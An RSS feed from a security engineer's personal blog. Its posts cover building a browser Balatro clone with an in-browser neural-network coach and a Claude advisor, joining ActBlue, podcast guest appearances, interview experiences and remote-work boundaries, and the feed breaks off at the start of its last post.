<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Blawg</title>
    <description>Just some ramblings. Probably about CSP.
</description>
    <link>https://oreoshake.github.iohttps://oreoshake.github.io/</link>
    <atom:link href="https://oreoshake.github.iohttps://oreoshake.github.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Wed, 24 Jun 2026 23:14:14 +0000</pubDate>
    <lastBuildDate>Wed, 24 Jun 2026 23:14:14 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      <item>
        <title>Browslatro: I built a Balatro clone to relearn frontend</title>
        <description>&lt;p&gt;&lt;a href=&quot;https://browslatro.matatall.com/&quot;&gt;Play it here&lt;/a&gt; (&lt;a href=&quot;https://github.com/oreoshake-s-team/browslatro&quot;&gt;code on GitHub&lt;/a&gt;). No install, no account. BYOK if you want to leverage AI for more than a few choices (ML content is free). Desktop or iPad strongly recommended; mobile is playable but cramped.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I’ve spent most of my career in security and backend-adjacent work so my frontend skills had gone stale. CSS still humbles me. So I picked the most over-engineered way imaginable to brush up: I built &lt;a href=&quot;https://browslatro.matatall.com/&quot;&gt;Browslatro&lt;/a&gt;, a browser implementation of &lt;a href=&quot;https://www.playbalatro.com/&quot;&gt;Balatro&lt;/a&gt;, the poker roguelike that ate my year (C++ gang rise up).&lt;/p&gt;

&lt;p&gt;It started as “relearn React” doing things entirely by hand. It ended as a React 19 app with a deterministic scoring engine, two independent move advisors, and an offline machine-learning pipeline that trains a neural network in PyTorch and runs it &lt;em&gt;in the browser&lt;/em&gt; via WASM. Towards, the end, it was almost entirely done using Claude.&lt;/p&gt;

&lt;p&gt;I would classify this as “90% complete, 60% done.” Some aspects, e.g. some decks, are not implemented at all. While all 150 jokers are represented, I’ve found plenty of bugs (the joker backfill was my exploration into just letting Claude do its thing). Most of the mechanics should be implemented, but I would be shocked if they perfectly aligned with the popular video game. If I were to start over, I would have moved with more caution. However, I had a blast so #NoRagrets.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/browslatro/gameplay.png&quot; alt=&quot;Browslatro gameplay — Small Blind, an empty joker row, your hand, and the Submit / Discard / Suggest buttons&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-bonus-features-the-fun-part&quot;&gt;The bonus features (the fun part)&lt;/h2&gt;

&lt;p&gt;The game itself is “just” a Balatro clone. It would be helful to have &lt;em&gt;some&lt;/em&gt; Balatro experience for the rest of this post.&lt;/p&gt;

&lt;h3 id=&quot;the-scoring-log--show-your-work&quot;&gt;The Scoring Log — show your work&lt;/h3&gt;

&lt;p&gt;Balatro’s scoring is famously a black box of chips and multipliers ticking up faster than you can follow. The “Scoring Trace” panel (bottom-left, hit “Expand”) breaks down every hand line by line: the base hand’s chips and mult, every joker and enhancement that fired and in what order, the money you won, and the floored final total. It’s the feature I reach for most when a hand scores way more (or way less) than I expected.&lt;/p&gt;

&lt;h3 id=&quot;the-coach--an-instant-free-offline-advisor&quot;&gt;The Coach — an instant, free, offline advisor&lt;/h3&gt;

&lt;p&gt;See that “Suggest” button? Click it and a &lt;em&gt;Coach&lt;/em&gt; pops up with the move it thinks is best. The Coach is a tiny neural network — a 3-layer &lt;a href=&quot;https://en.wikipedia.org/wiki/Multilayer_perceptron&quot;&gt;multi-layer perceptron&lt;/a&gt; — running entirely in your browser via &lt;a href=&quot;https://onnxruntime.ai/docs/get-started/with-javascript/web.html&quot;&gt;ONNX Runtime Web&lt;/a&gt;. It’s instant, free, and works offline. It never phones home.&lt;/p&gt;

&lt;h3 id=&quot;the-ai--claude-when-you-want-the-why&quot;&gt;The AI — Claude, when you want the “why”&lt;/h3&gt;

&lt;p&gt;So there’s a second advisor. Hit &lt;strong&gt;Ask AI&lt;/strong&gt; and the request goes to Claude (claude-opus-4-8) through a serverless function, and you get back something the Coach can’t give you:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a (potentially new) recommendation,&lt;/li&gt;
  &lt;li&gt;a plain-language explanation of why it wins,&lt;/li&gt;
  &lt;li&gt;the most tempting alternative and why it’s actually worse, and&lt;/li&gt;
  &lt;li&gt;one transferable concept you can carry to your next run.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The system prompt makes it an educational coach, not just a solver. The single most important rule in the whole system: numbers flow in exactly one direction — engine → prompt → explanation. Claude may only quote chips, mult, and money figures that the engine already computed and put in front of it.&lt;/p&gt;

&lt;h2 id=&quot;the-machine-learning-briefly&quot;&gt;The machine learning, briefly&lt;/h2&gt;

&lt;p&gt;The Coach is an &lt;a href=&quot;https://en.wikipedia.org/wiki/Imitation_learning&quot;&gt;imitation-learning&lt;/a&gt; student trained offline, and the pipeline is a genuinely fun bit of engineering:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;A headless engine plays full games with no React and no UI, driven by a single seeded RNG so every run is perfectly reproducible.&lt;/li&gt;
  &lt;li&gt;A Monte-Carlo search expert generates the training labels — for each decision it shuffles the &lt;em&gt;unseen&lt;/em&gt; cards (it can’t cheat and see what you can’t), rolls out several futures, and picks the action with the best average outcome. It’s not a neural net; it’s the “teacher.”&lt;/li&gt;
  &lt;li&gt;Real human play (mine, and anyone who exports theirs — more below) gets captured in the same schema and mixed in at a higher weight, so the model learns from actual play, not just synthetic self-play.&lt;/li&gt;
  &lt;li&gt;A PyTorch trainer (&lt;a href=&quot;https://github.com/oreoshake-s-team/browslatro/blob/main/ml/train.py&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ml/train.py&lt;/code&gt;&lt;/a&gt;) learns to rank candidates.&lt;/li&gt;
  &lt;li&gt;A benchmark pits the new model against the old one across disjoint random seeds. It only ships if it actually wins on “average blinds cleared.”&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There’s a separate model for shop decisions, and an offline &lt;a href=&quot;https://en.wikipedia.org/wiki/Knowledge_distillation&quot;&gt;knowledge-distillation&lt;/a&gt; path where Claude acts as an expensive &lt;em&gt;teacher&lt;/em&gt; that relabels exactly the states where the cheap student is weak. However, this often did not lead to meaningful improvements (something I intend to explore in the future).&lt;/p&gt;

&lt;h2 id=&quot;your-plays-can-train-the-model&quot;&gt;Your plays can train the model&lt;/h2&gt;

&lt;p&gt;This is the call to action, and the loop that makes the whole thing tick: play the game, then export your plays.&lt;/p&gt;

&lt;p&gt;Open “Apply Modifiers” (the dev panel under the hand) and you’ll find a human-play log. Every decision you make is recorded locally — hand plays, discards, shop purchases, pack picks, skips — and “Export log” dumps them as a JSONL file in exactly the schema the training pipeline ingests.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/browslatro/export-plays.png&quot; alt=&quot;The Apply Modifiers dev panel, showing the human-play log with &amp;quot;3 recorded decisions&amp;quot; and the Export log button&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://browslatro.matatall.com/&quot;&gt;Play a run&lt;/a&gt;, export it, send it to me, and you’ve contributed to the next model!&lt;/p&gt;

&lt;h2 id=&quot;the-technology&quot;&gt;The technology&lt;/h2&gt;

&lt;p&gt;A quick tour of what’s under the hood:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.anthropic.com/claude&quot;&gt;Claude&lt;/a&gt;** — both as the in-game AI advisor (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;claude-opus-4-8&lt;/code&gt;) and as the pair-programmer that helped me build practically all of it.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://react.dev/&quot;&gt;React 19&lt;/a&gt; + strict &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;TypeScript&lt;/a&gt; + &lt;a href=&quot;https://pnpm.io/&quot;&gt;pnpm&lt;/a&gt; (for fast worktree support).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pmndrs/zustand&quot;&gt;Zustand&lt;/a&gt; for state — a thin, sliced store driving the entire game loop, with pure rules kept separate from components.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vitejs.dev/&quot;&gt;Vite&lt;/a&gt; + &lt;a href=&quot;https://vitest.dev/&quot;&gt;Vitest&lt;/a&gt; + &lt;a href=&quot;https://playwright.dev/&quot;&gt;Playwright&lt;/a&gt; for build, unit tests, and end-to-end tests.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://storybook.js.org/&quot;&gt;Storybook&lt;/a&gt; — every component has co-located stories covering its visual states.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.i18next.com/&quot;&gt;i18next&lt;/a&gt; for internationalization, with accessibility treated as a hard requirement, not an afterthought. English and ʻŌlelo Hawaiʻi are supported (waiting on complete translations for now).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://onnxruntime.ai/&quot;&gt;ONNX Runtime Web&lt;/a&gt; runs the Coach model in-browser; &lt;strong&gt;&lt;a href=&quot;https://pytorch.org/&quot;&gt;PyTorch&lt;/a&gt;&lt;/strong&gt; trains it offline.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vercel.com/&quot;&gt;Vercel&lt;/a&gt; for hosting and the serverless &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/advice&lt;/code&gt; route. This was such a nice experience that I plan to use it for all future hobby projects.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;how-the-project-was-run&quot;&gt;How the project was run&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Everything is an issue. Roughly &lt;strong&gt;680 issues&lt;/strong&gt; filed, &lt;strong&gt;660+ closed&lt;/strong&gt;, each with a GitHub-native type (Bug / Feature / Task / Refactor / Chore) and a feature-space label, all from a shared issue template.&lt;/li&gt;
  &lt;li&gt;One issue, one branch, one PR. Around &lt;strong&gt;840 pull requests&lt;/strong&gt;, &lt;strong&gt;815 merged&lt;/strong&gt;, every one squashed into a single semantic commit. Nearly &lt;strong&gt;900 commits&lt;/strong&gt; on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Worktrees, not branch-switching. Every branch gets its own git worktree outside the project tree, and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PreToolUse&lt;/code&gt; hook physically blocks edits to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; checkout.&lt;/li&gt;
  &lt;li&gt;Green or it doesn’t ship. Full test coverage is a hard requirement, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tsc&lt;/code&gt; has to be clean, and no PR merges until CI is green. Changes over ~150 lines of app code get split into follow-up issues.&lt;/li&gt;
  &lt;li&gt;Design questions first. Because I’m still shaky on frontend, the rule is: before touching any UI, ask at least three design/UX clarifying questions. It front-loads the decisions I’m bad at making blind.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of that happened over about a month — first commit on May 22nd, and it hasn’t really stopped. For a project whose stated goal was “brush up on React and get less bad at CSS,” the byproducts got a little out of hand.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;TL;DR: &lt;a href=&quot;https://browslatro.matatall.com/&quot;&gt;Play Browslatro&lt;/a&gt;, open the “Suggest” Coach (or Ask AI for Claude’s reasoning), watch the Scoring Trace explain your hands, and if you’re feeling generous, export your plays and feed the model.&lt;/p&gt;
</description>
        <pubDate>Wed, 24 Jun 2026 09:00:00 +0000</pubDate>
        <link>https://oreoshake.github.iohttps://oreoshake.github.io/projects/2026/06/24/browslatro.html</link>
        <guid isPermaLink="true">https://oreoshake.github.iohttps://oreoshake.github.io/projects/2026/06/24/browslatro.html</guid>
        
        
        <category>projects</category>
        
      </item>
    
      <item>
        <title>Job search is over, I&apos;ll be joining ActBlue</title>
        <description>&lt;p&gt;It’s official, the job search is over and I’ll be starting as a staff software engineer for ActBlue later this month. Why did I choose ActBlue? They are non-profit and while they pay competitive salaries, there is no equity. They have bonuses to help make up the gap, but there will be no big payday at the end of this road. At this point in my life, the idea of possibly hitting the lottery again doesn’t excite me.&lt;/p&gt;

&lt;h2 id=&quot;the-role&quot;&gt;The role&lt;/h2&gt;

&lt;p&gt;Before I left GitHub, I wasn’t sure I wanted to work in security anymore. After my first take-home exercise for a “first security hire” role, that sweet taste of writing code sent me back to a happy place. Initially, I didn’t want to close any doors, so I was looking at engineering roles at companies of all sizes in just about any industry (but still tech first). My network skews very heavily towards infosec and so the first round of people to reach out to me offered engineering roles at security companies. The idea of doing non-security work in a security company didn’t excite me for the most part and I had a slight fear that I’d end up going back somehow.&lt;/p&gt;

&lt;p&gt;All three of the offers I received were for non-security roles. So what will I be doing? I’ll be working on the Authentication Authorization and Access Control (AAA) team. “LOL i ThOuGhT yOu WeReN’t DoInG sEcUrIty” ya ya, technically this role does report to the security org but it is a 100% hands-on engineering role. I recently did a &lt;a href=&quot;](https://www.youtube.com/watch?v=hrAKE6LaizE)&quot;&gt;guest appearance on OWASP DevSlop on this topic&lt;/a&gt;, and I genuinely enjoy working on it. Will I still be nerd sniped into, e.g., conversations about content security policy? For sure.&lt;/p&gt;

&lt;h2 id=&quot;the-interview&quot;&gt;The interview&lt;/h2&gt;

&lt;p&gt;I’ve never felt more comfortable in an interview. ActBlue’s interview process did check most of my boxes in &lt;a href=&quot;https://matatall.com/jobs/2022/02/06/the-perfect-interview-for-me.html&quot;&gt;“The perfect interview (for me)”&lt;/a&gt; which was a good start. They seemed to be genuinely interested in me and I never felt like I had to prove that I wanted to be there (related: &lt;a href=&quot;https://matatall.com/jobs/2022/02/10/do-you-really-want-me.html&quot;&gt;“Bro do you even code”&lt;/a&gt;). Everyone I met during interviews genuinely seemed like they wanted to be there. Having gone through what felt like a year of constant interviewing at GitHub, I know I didn’t always show up 100%.&lt;/p&gt;

&lt;h2 id=&quot;the-culture&quot;&gt;The culture&lt;/h2&gt;

&lt;p&gt;I explained some of my minimum work/life balance criteria in my &lt;a href=&quot;https://matatall.com/jobs/2022/02/08/boundaries.html&quot;&gt;“boundaries”&lt;/a&gt; post. ActBlue has admittedly struggled with the transition to remote culture. While everyone works remotely, they are still transitioning to GitHub-level remote-first company. My experience in this area was one of the things that got everyone excited and knowing that I can influence this has me excited.&lt;/p&gt;

&lt;h2 id=&quot;the-team&quot;&gt;The team&lt;/h2&gt;

&lt;p&gt;I interviewed with people outside of the team, but I was able to meet everyone I’d be working with on a day-to-day basis. Everyone was very friendly and laughs were had in every chat. The team has used video games as a pandemic relief and that’s all I’ve been doing in my time off. There’s even a Civ player!!!!! One of my coworkers was described as “meticulous” which is how I wish I were described. I am mentally firmly on the “order” side of the order to chaos spectrum, although that doesn’t always play out in real life.&lt;/p&gt;

&lt;h2 id=&quot;the-company&quot;&gt;The company&lt;/h2&gt;

&lt;p&gt;The most diverse place I’ve ever worked was my first full-time job at the University of California, Irvine. While it was still white male dominant, many ethnicities were well represented. The school itself is fairly diverse, although certain demographics are absent to some degree. While a white dude was at the top, upper/middle management was dominated by women and people of color. The school itself was left-leaning and the workforce was even more so. Politics didn’t come up too often, but almost everyone was a democrat. My wife still works there and she said nothing has changed.&lt;/p&gt;

&lt;p&gt;My first job after UCI was very different. One person of color in my org. Almost entirely white dudes. Most were of the republican or contrarian edgelord types. I would never discount someone for having opposing beliefs, but the things I’ve heard people say were shocking.&lt;/p&gt;

&lt;p&gt;The most diverse interview panel I’ve ever been a part of was ActBlue’s. They are very upfront that this is a diverse and progressive workplace striving for even more diversity and progressive causes ❤️.&lt;/p&gt;

&lt;h2 id=&quot;getting-a-job-to-own-the-conservatives-or-something&quot;&gt;Getting a job to own the conservatives or something&lt;/h2&gt;

&lt;p&gt;I’ve never been shy about sharing my political beliefs, perhaps to a fault. Do I think Joe Biden is the greatest thing since sliced bread and the democrats are perfect? Hell no. Are the democrats immune from hypocrisy? Again, hell no. But do I agree with the idea that people are struggling to make ends meet no matter what they do and it’s out of their control. Do I think that systemic oppression is built into every breath of daily life? OK that’s a bit extreme but ALSO YES.&lt;/p&gt;

&lt;p&gt;I’m looking to grow my understanding of things and learn about ways I can help progressive causes. I’m absolutely terrible in any debate format but being around like minded people will better prepare me for current events. I’ve always felt that I’m the left’s version of a fox news viewer who eats the spin and is easily outraged and while I may not grow out of it, this may be the only way.&lt;/p&gt;

</description>
        <pubDate>Thu, 03 Mar 2022 08:40:40 +0000</pubDate>
        <link>https://oreoshake.github.iohttps://oreoshake.github.io/jobs/2022/03/03/fin.html</link>
        <guid isPermaLink="true">https://oreoshake.github.iohttps://oreoshake.github.io/jobs/2022/03/03/fin.html</guid>
        
        
        <category>jobs</category>
        
      </item>
    
      <item>
        <title>The perfect guest appearance (for me)</title>
        <description>&lt;h1 id=&quot;the-perfect-guest-appearance-for-me&quot;&gt;The “perfect” guest appearance (for me)&lt;/h1&gt;

&lt;p&gt;I guess I can continue with “the perfect X (for me)” pattern here. I like it because it illustrates strong opinions but acknowledges that everyone is different, and I very well may be in the minority with some of these. I don’t intend to be an edgelord contrarian person but instead, take time to critique my own ideas from different viewpoints.&lt;/p&gt;

&lt;h2 id=&quot;funemployment-time&quot;&gt;Funemployment time&lt;/h2&gt;

&lt;p&gt;I took time off before starting the job hunt and am not working during this period. I have looooots of time. So I figured podcast appearances would be an excellent way to stay engaged with the community and maybe even convince someone to hire me. I absolutely loved hanging out with my friends Seth and Ken on the Absolute Appsec podcast. I had a good time explaining the GitHub account security on the Application Security podcast. I’ll be on the Securitea and Crumpets podcast later today. And I have a Devslop presentation on the 27th.&lt;/p&gt;

&lt;h2 id=&quot;preparation&quot;&gt;Preparation&lt;/h2&gt;

&lt;p&gt;While preparation can feel like extra work when you think you can just wing it, practice helps me. Absolute Appsec was three friends hanging out, and we were all over the place. I loved it and would do it again. The Application Security podcast is a little more formal and structured. They shared a loose schedule beforehand with some key points to hit.&lt;/p&gt;

&lt;p&gt;Lewis from Securitea and Crumpets reached out a few days in advance with a rough outline that he refined before I could read it. I had the time to at least write some things down in response. I would leave breadcrumbs for something I would rather explain in-depth verbally instead of writing an essay. It gave him a chance to react to my answers and surely create more potential areas to explore time willing.&lt;/p&gt;

&lt;p&gt;Devslop is on another level, and they clearly communicate that. They mean no disrespect to other podcasts, another thing they clearly expressed, but they had an expectation that the guest is prepared and comes with collateral. I wasn’t required to create a slide deck, but I did. Devslop wanted materials 2 weeks in advance and had an easy-to-follow checklist of things to do, like scheduling a dry-run (something unique in my experience). Some people won’t want to do the extra work if they don’t have something prepared, and that’s OK. But I like structure and will embrace this format because honestly if I’m up there talking on my own, I’m going to gloss over some critical detail that’s the foundation for whatever’s next.&lt;/p&gt;

&lt;h2 id=&quot;platform&quot;&gt;Platform&lt;/h2&gt;

&lt;p&gt;So far, I’ve used streamlabs (I think), some video services I’ve never heard of, discord (future), and maybe even another tool. Why can’t we just use zoom lol. I have two cameras: one for me and one for my dog when I would stream. This confuses software. These interfaces are all janky. But maybe it’s a good thing because I show up &lt;em&gt;early&lt;/em&gt; anticipating a reboot or unplugging of cables.&lt;/p&gt;

&lt;h2 id=&quot;live-vs-recorded&quot;&gt;Live vs. recorded&lt;/h2&gt;

&lt;p&gt;On some levels, I would prefer to have someone edit the content. I remember asking someone to take out a section in the past because I didn’t feel like it was good or even accurate, so I learned to avoid that situation. But still, an editor can probably improve things, and I’m OK with that.&lt;/p&gt;

&lt;p&gt;Live, on the other hand, can have audience interaction. So while I might end up regretting saying something and know that it’s out there forever, audience interaction is really cool. I’ll answer a million questions if it helps people understand things. I’m not an educator. I’ve just seen cool stuff I can share.&lt;/p&gt;

&lt;h2 id=&quot;co-hosts&quot;&gt;Co-hosts&lt;/h2&gt;

&lt;p&gt;I prefer to have multiple co-hosts when I do guest appearances, but it’s certainly not a requirement of mine. Having that extra person there to keep the conversation going can be helpful at the expense of a potential moment where everyone is talking at once.&lt;/p&gt;

&lt;h2 id=&quot;straight-to-business-or-for-the-memes&quot;&gt;Straight to business or for the memes&lt;/h2&gt;

&lt;p&gt;I’m not even sure what my preferences are. I listen to a lot of podcasts. I have three separate apps that serve different purposes. Sometimes, I want to listen to a figurative radio while writing a blog post. This set of podcasts is mostly news-based things, a handful of miniseries, a couple sportsball podcasts, and more. It’s OK if I take off my Aftershokz (sponsor me!!!) without pausing, resulting in 3 hours of my playlist going unlistened.&lt;/p&gt;

&lt;p&gt;Other times, I want to carefully analyze everything said with my undivided attention. This can either be history, technology, or science-based. And no ads are allowed here. At all.&lt;/p&gt;

&lt;p&gt;Other times, I just want someone to keep my brain engaged just enough that I’ll eventually drift off into sleep. These are almost exclusively based on history, preferably history before Rome. For these podcasts, I &lt;strong&gt;hate&lt;/strong&gt; guests almost as much as I hate ads. Unless the guest has a similar speaking style with high-quality audio, it just feels like it doesn’t belong and can actually wake me up if I’ve already drifted off. OK, I don’t know that’s true. But I have awoken and heard that resulting in my throwing my Aftershokz (they are great for sleeping, free shoutout) across the room.&lt;/p&gt;
</description>
        <pubDate>Wed, 16 Feb 2022 08:40:49 +0000</pubDate>
        <link>https://oreoshake.github.iohttps://oreoshake.github.io/podcasts/2022/02/16/the-perfect-guest-appearance-to-me.html</link>
        <guid isPermaLink="true">https://oreoshake.github.iohttps://oreoshake.github.io/podcasts/2022/02/16/the-perfect-guest-appearance-to-me.html</guid>
        
        
        <category>podcasts</category>
        
      </item>
    
      <item>
        <title>Bro do you even code</title>
        <description>&lt;p&gt;It’s been nearly a decade since I’ve done a true job hunt where I’m chasing down multiple opportunities. I have interviewed and hired people since then so it’s not like I’m completely detached from everything but some conversations have been surprisingly aggressive. I’m attempting to perform a career switch after spending a year in management, I get it. That’s a different profile than someone who has been doing nothing but engineering for as long as my career. But I have been looked at with a surprising amount of suspicion.&lt;/p&gt;

&lt;h2 id=&quot;bro-do-you-even-code&quot;&gt;Bro do you even code&lt;/h2&gt;

&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;People who know me: we want you to work here. &lt;br /&gt;People who don’t know me: you want you to work here. &lt;br /&gt;&lt;br /&gt;The vibe couldn’t be more polar opposite.&lt;/p&gt;&amp;mdash; Neil Matatall (NileMatotle) (@ndm) &lt;a href=&quot;https://twitter.com/ndm/status/1486039542193070081?ref_src=twsrc%5Etfw&quot;&gt;January 25, 2022&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async=&quot;&quot; src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

&lt;p&gt;Many of the people I was talking to were coworkers or people who had worked with coworkers of mine. It was less of an interview and more them trying to convince me to work with them. Whether or not that is wise of them, it felt good. I’m not saying I can be flattered into a position, but it’s a very nice cherry on top.&lt;/p&gt;

&lt;p&gt;Others approached me with great suspicion and doubt. I get it, I’m a “security person” who has been in management for a year. But I didn’t run burp all day and create PDFs (no disrespect to anyone in these kinds of roles), I was writing application code for most of it. Doing so &lt;strong&gt;without&lt;/strong&gt; product and design support for the most part. Writing tricky code for things with large implications, like the authentication stack.&lt;/p&gt;

&lt;h2 id=&quot;github-wanted-me&quot;&gt;GitHub wanted me?&lt;/h2&gt;

&lt;p&gt;When &lt;a href=&quot;https://github.blog/2013-01-24-github-now-supports-twitter-cards/&quot;&gt;GitHub added support for Twitter cards&lt;/a&gt;, they chose to demonstrate it with &lt;a href=&quot;https://github.com/github/secure_headers&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secure_headers&lt;/code&gt;&lt;/a&gt; (a ruby library I wrote). My memory is a bit fuzzy around the 2013 timeline, but I met some hubbers around that time at ShakaCon. Soon after, we were chatting about potentially becoming a hubber but I was enjoying the Twitter IPO at the time. The IPO shinyness wore off and I would go to GitHub late 2014.&lt;/p&gt;

&lt;p&gt;I’m not saying that blog post and the decision to choose my library was a way to lure me in as an employee or that I was flattered into joining GitHub, but it helped.&lt;/p&gt;

&lt;h2 id=&quot;that-stupid-article&quot;&gt;That stupid article.&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.askamanager.org/2022/01/the-new-hire-who-showed-up-is-not-the-same-person-we-interviewed.html&quot;&gt;The new hire who showed up is not the same person we interviewed&lt;/a&gt;. I mean no disrespect to the author but the timing wasn’t convenient for me. I am not cheating on coding exams. I did not falsify my resume. I did not pay my neighbor to pretend to be my boss. I did not fake my years of open source contributions or standards body work. I did not hire a doppleganger to present technical ideas or created a deepfake of presentations.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Sadly, we are not able to proceed with a technical interview that does not include live coding. I had some internal conversations about this, and it sounds like a significant driver is that we’ve had past issues with fraudulent identities (IE: someone hires someone else to pretend to be them to ace an interview and get a job).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;GTFO. 🚩. But also, I cannot believe this happens. Well, I believe it &lt;em&gt;has&lt;/em&gt; happened. I’m not accusing them of making this up. So… it has to be true. What a world we live in.&lt;/p&gt;
</description>
        <pubDate>Thu, 10 Feb 2022 08:40:49 +0000</pubDate>
        <link>https://oreoshake.github.iohttps://oreoshake.github.io/jobs/2022/02/10/do-you-really-want-me.html</link>
        <guid isPermaLink="true">https://oreoshake.github.iohttps://oreoshake.github.io/jobs/2022/02/10/do-you-really-want-me.html</guid>
        
        
        <category>jobs</category>
        
      </item>
    
      <item>
        <title>Boundaries</title>
        <description>&lt;p&gt;The most important factor in choosing my next company is the culture. I expect it to be inclusive and striving for diversity and belonging. I expect it to have reasonable work expectations. In America, that means 40 hours a week. I think that number should be lower but hey, it’s what we have.&lt;/p&gt;

&lt;h2 id=&quot;async&quot;&gt;Async&lt;/h2&gt;

&lt;p&gt;I’m baffled that we’re in season 3 of the pandemic and many orgs are still figuring this out. I have had some people say one of the reasons my resume was attractive was because it has been more than a decade since I have worked in an office since. I’ve been working asynchronously with a global company since 2014 (in an odd timezone no less). So the pandemic didn’t throw that much of a wrench in my day to day activities. I would say something along the lines of “I can certainly help the transition” and their eyes light up. But there’s also this weird glorification of what GitHub did. Some people would describe a culture that was 80% the way there as something that was a chaotic mess. I’d have to convince people that they’ve already tackled some of the major hurdles and they really only need to address one or two others. GitHub wasn’t perfect either.&lt;/p&gt;

&lt;p&gt;But seriously, if you have tons of meetings or strict working hours or lots of beauracracy wtf are you doing. Muan talked about this a lot in &lt;a href=&quot;https://muan.co/2021/12/15/notes-on-looking-for-a-job/&quot;&gt;her post&lt;/a&gt;. Her timezone is even more distant than mine. That post has a lot of gems so I don’t want to repeat her content. I’ll just suggest you read it and include everything she said here, because I agree with her on everything.&lt;/p&gt;

&lt;h2 id=&quot;undefined-work-hours&quot;&gt;Undefined work hours&lt;/h2&gt;

&lt;p&gt;GitHub supported pretty loosely defined hours for anyone in a senior-or-less position. You couldn’t just randomly pop in when you felt like it. There were expectations that you’d respond to things in a reasonable time frame, especially over greater distances. 24 hours was the absolute max if you weren’t on vacation. If you’re trying to reach someone in a timezone earlier than you, be sure to respond to their messages before they wake up.&lt;/p&gt;

&lt;p&gt;Not only do I want to define my own hours but I want the ability to do it on the fly. I already stated I want to work in my time zone, but only sometimes. Sometimes I get up early and want to hit the ground running. I could start anywhere from 5 - 9 am. I’m not skipping meetings and I’m not forcing people to work around a mysterious schedule. But if nothing is on my calendar, I can do what I need to do to be productive as an employee and human.&lt;/p&gt;

&lt;p&gt;I remember working with an American doing a &lt;a href=&quot;https://en.wikipedia.org/wiki/Biphasic_and_polyphasic_sleep&quot;&gt;biphasic sleep schedule&lt;/a&gt; and people in Europe in the same week. We got stuff done.&lt;/p&gt;

&lt;h2 id=&quot;no-contact-outside-of-work-hours&quot;&gt;No contact outside of work hours&lt;/h2&gt;

&lt;p&gt;If we have a pager system, cool. But I will not be around on nights and weekends and I’d expect others to do the same (based on their time zone) - especially leadership. This can be an issue with some startups, but others see the sustainability benefits of not working long hours and weekends.&lt;/p&gt;

&lt;h2 id=&quot;minimum-vacation-policy&quot;&gt;Minimum vacation policy&lt;/h2&gt;

&lt;p&gt;I wish people who adopt this pattern would use this terminology. The problems with unlimited vacation policies are widely understood and this simple phrasing addresses the problem directly. I want to work a place where I am expected to take time off and my manager is in charge of making that happen if I slip.&lt;/p&gt;

&lt;h2 id=&quot;remote-first&quot;&gt;Remote first&lt;/h2&gt;

&lt;p&gt;Some companies have been forced to tolerate the presence of remote workers while others embrace their distributed colleagues. At this point, who knows how long the pandemic will go on for. Who knows what life after the pandemic will be. But if you’re remote first, you’re prepared for most outcomes.&lt;/p&gt;

&lt;p&gt;Remote first means people in an office are the afterthoughts you occasionally forget to include or provide similar bonuses. I worked remotely for a company that wouldn’t even let their remote employees attend the company parties even if said employee paid for travel and lodging themselves. I don’t want to hear anyone in an office complain :laugh:&lt;/p&gt;
</description>
        <pubDate>Tue, 08 Feb 2022 17:28:00 +0000</pubDate>
        <link>https://oreoshake.github.iohttps://oreoshake.github.io/jobs/2022/02/08/boundaries.html</link>
        <guid isPermaLink="true">https://oreoshake.github.iohttps://oreoshake.github.io/jobs/2022/02/08/boundaries.html</guid>
        
        
        <category>jobs</category>
        
      </item>
    
      <item>
        <title>The perfect interview (for me)</title>
        <description>&lt;h1 id=&quot;the-perfect-interview-for-me&quot;&gt;The “perfect” interview (for me)&lt;/h1&gt;

&lt;p&gt;I want to start with a healthy dose of “the world does not revolve around me” before these hot takes.&lt;/p&gt;

&lt;p&gt;I’ve felt myself struggling to best demonstrate my capabilities during this round of interviews. I don’t expect myself to perform flawlessly in every situation, but there seems to be more resistance to my transition to engineering than expected. This hesitation is exclusively from people who don’t already know me. It’s been more than a year since I’ve been an engineer. There’s rust.&lt;/p&gt;

